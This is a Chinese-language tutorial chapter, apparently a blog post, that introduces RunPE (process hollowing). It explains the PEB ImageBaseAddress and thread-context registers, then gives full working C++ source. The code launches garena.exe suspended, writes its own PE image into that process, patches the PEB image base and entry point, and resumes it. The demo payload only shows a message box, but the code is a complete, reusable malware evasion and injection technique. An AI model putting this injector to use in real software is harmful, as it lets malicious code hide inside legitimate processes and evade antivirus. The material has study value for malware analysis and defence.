ch.2 初識RunPE

RunPE是指惡意程式先執行一個正常的process,然後將該process本來要執行的PE模組替換成惡意的模組,導致該process執行惡意程式指定的PE而非本來該process的PE,達到披著羊皮的狼的目的,逃過防毒軟體的偵測。

一個process可以掛載多個PE(ex. DLL),也就是一個process的address space中可以映射進很多個PE,而當一個新的process要開始執行時,要如何知道執行哪一個PE的內容才對呢,答案就在PEB(Process Environment Block)中,PEB中的ImageBaseAddress會儲存要執行的程式映像基址,假設一個PE模組被映射到address space中的0xA00000,還有另一個PE模組被映射到0x400000,而如果PEB->ImageBaseAddress是0xA00000,就代表該PE是這支process將要執行的模組。

當Main Thread執行到NtDLL!LdrpInitializeProcess函數(此為「執行程式裝載器」,負責修正導入導出表及重定向等工作)時,會識別出主要執行模組為位在0xA00000的那個模組,便會以該模組進行修正工作,並在執行完後把執行權交棒給該PE模組的入口(嘿對就是該PE的AddressOfEntryPoint),然後該PE的內容就會被執行。

這樣RunPE的思路就比較清晰了,假設本來有個process,其中有個A模組應該要被執行,但如果我可以在執行程式裝載器執行前,把一個B模組映射進該process的address space,而且把該process的PEB->ImageBaseAddress修改成B模組映射到的image基址,再把應該被交棒的入口改成B模組的AddressOfEntryPoint,那就可以劫持本來的流程,把B模組跑起來了。

CreateProcessA在建立新process時可以將其Suspend,此時Main Thread尚未執行到執行程式裝載器,且此時Main Thread的Context中,EIP會指向NtDLL!RtlUserThreadStart函數,該函數第一個參數會放在EAX,儲存著完成初始化後應該要被交棒的執行地址,第二個參數放在EBX,儲存的就是PEB的地址,而EBX+8這個地址存的就是PEB中的ImageBaseAddress。

以下程式runPE.exe會先檢查當前的模組名稱是不是garena.exe,是的話就彈一個窗口。如果不是的話,代表當前模組是runPE.exe,它會用CreateProcessA開啟garena.exe,這時候新的process模組名稱就會是garena.exe了,然後再把新process的模組替換成當前模組(runPE.exe),這時候新process的模組名稱是garena.exe,但是實際執行的模組被替換了,所以當新的process執行時,會執行runPE.exe的內容,而runPE.exe會先檢查當前模組名稱是不是garena.exe,檢查是garena.exe,最後彈出一個窗口。

runpe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#include <stdio.h>
#include <iostream>
#include <Windows.h>

BYTE* MapFileToMemory(LPCSTR filename)
{
FILE* fp;
errno_t e = fopen_s(&fp, filename, "rb"); // open file
fseek(fp, 0, SEEK_END); // move to file end
LONG size = ftell(fp); // get file size
fseek(fp, 0, SEEK_SET); // move to file begin

BYTE* buffer = (BYTE*)malloc(sizeof(BYTE) * size);
fread(buffer, size, 1, fp); // read file to buffer

fclose(fp);
return buffer;
}

// open an PE process then replace it with the image
int RunPE(LPCSTR originPE, void* Image)
{
IMAGE_DOS_HEADER* DOSHeader;
IMAGE_NT_HEADERS* NtHeader;
IMAGE_SECTION_HEADER* SectionHeader;

PROCESS_INFORMATION PI = {};
STARTUPINFOA SI = {};

CONTEXT* CTX;

size_t* ImageBase; // base address of the image
void* pImageBase; // pointer to the image base

DOSHeader = PIMAGE_DOS_HEADER(Image); // initialize
NtHeader = PIMAGE_NT_HEADERS((size_t)Image + DOSHeader->e_lfanew); // initialize
SectionHeader = PIMAGE_SECTION_HEADER((size_t)NtHeader + sizeof(*NtHeader)); // initialize


if (NtHeader->Signature == IMAGE_NT_SIGNATURE)
{
// create an instance of originPE in suspended state
if (CreateProcessA(originPE, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
{
// Allocate memory for the context.
CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL; // Context is allocated

if (GetThreadContext(PI.hThread, CTX))
{
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);

// allocate an space from the new process for the Image, and the desired start address is the Image's OptionalHeader.ImageBase
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

// write the Image headers to the space
WriteProcessMemory(PI.hProcess, LPVOID(pImageBase), Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
// write the Image sections to the space
for (int i = 0; i < NtHeader->FileHeader.NumberOfSections; i++) {

WriteProcessMemory(PI.hProcess,
LPVOID(size_t(pImageBase) + SectionHeader[i].VirtualAddress),
LPVOID(size_t(Image) + SectionHeader[i].PointerToRawData),
SectionHeader[i].SizeOfRawData, 0);
}

// PEB->ImageBaseAddress is pointed by CTX->Ebx + 8
// replace the value of (CTX->Ebx + 8) to pImageBase, so the PE module at pImageBase will be executed
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&pImageBase), 4, 0);

// modify the entry point address, which is pointed by CTX->Eax
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));

ResumeThread(PI.hThread);


return 0;
}
}
}
return 1;
}

int CALLBACK WinMain(HINSTANCE, HINSTANCE, LPSTR, int) {

char CurrentFilePath[MAX_PATH + 1];
GetModuleFileNameA(0, CurrentFilePath, MAX_PATH);

// current module is gerena?
if (strstr(CurrentFilePath, "C:\\Program Files (x86)\\Garena\\Garena\\garena.exe")) {
MessageBoxA(0, "process hollowing!!", "RunPE", 0);
return 0;
}

LPCSTR origin = "C:\\Program Files (x86)\\Garena\\Garena\\garena.exe";
RunPE(origin, MapFileToMemory(CurrentFilePath));

return 0;
}

參考連結
https://github.com/aaaddress1/Windows-APT-Warfare/blob/main/source/chapter%2302/RunPE/RunPE.cpp
https://github.com/Zer0Mem0ry/RunPE/blob/master/RunPE.cpp